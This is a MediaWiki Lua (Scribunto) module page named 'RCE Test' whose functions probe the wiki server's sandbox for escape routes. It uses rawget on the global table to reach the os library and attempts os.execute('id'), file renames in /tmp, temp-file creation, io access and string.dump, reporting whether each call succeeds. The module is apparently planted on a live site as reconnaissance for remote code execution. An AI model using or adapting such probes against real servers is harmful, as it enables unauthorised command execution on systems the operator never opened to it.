模块:RCE Test
可在模块:RCE Test/doc创建此模块的帮助文档
local p = {}
function p.oskeys() local os = rawget(_G, 'os'); local keys = {}; for k,v in pairs(os) do keys[#keys+1] = k end; table.sort(keys); return 'os_keys=[' .. table.concat(keys, ',') .. ']' end
function p.tryexec() local os = rawget(_G, 'os'); local ok, result = pcall(os.execute, 'id'); return 'execute_ok=' .. tostring(ok) .. ' result=' .. tostring(result) end
function p.tryio() local io = rawget(_G, 'io'); return 'io_type=' .. type(io) end
function p.trytmpname() local os = rawget(_G, 'os'); local ok, result = pcall(os.tmpname); return 'tmpname_ok=' .. tostring(ok) .. ' result=' .. tostring(result) end
function p.tryrename() local os = rawget(_G, 'os'); local ok, result = pcall(os.rename, '/tmp/test1', '/tmp/test2'); return 'rename_ok=' .. tostring(ok) .. ' result=' .. tostring(result) end
function p.tryclock() local os = rawget(_G, 'os'); local ok, result = pcall(os.clock); return 'clock_ok=' .. tostring(ok) .. ' result=' .. tostring(result) end
function p.trytime() local os = rawget(_G, 'os'); local ok, result = pcall(os.time); return 'time_ok=' .. tostring(ok) .. ' result=' .. tostring(result) end
function p.enumglobals() local count = 0; for k,v in pairs(getfenv()) do count = count + 1 end; return 'global_count=' .. count end
function p.trystringdump() local ok, result = pcall(string.dump, function() end); return 'dump_ok=' .. tostring(ok) .. '/' .. tostring(result) end
return p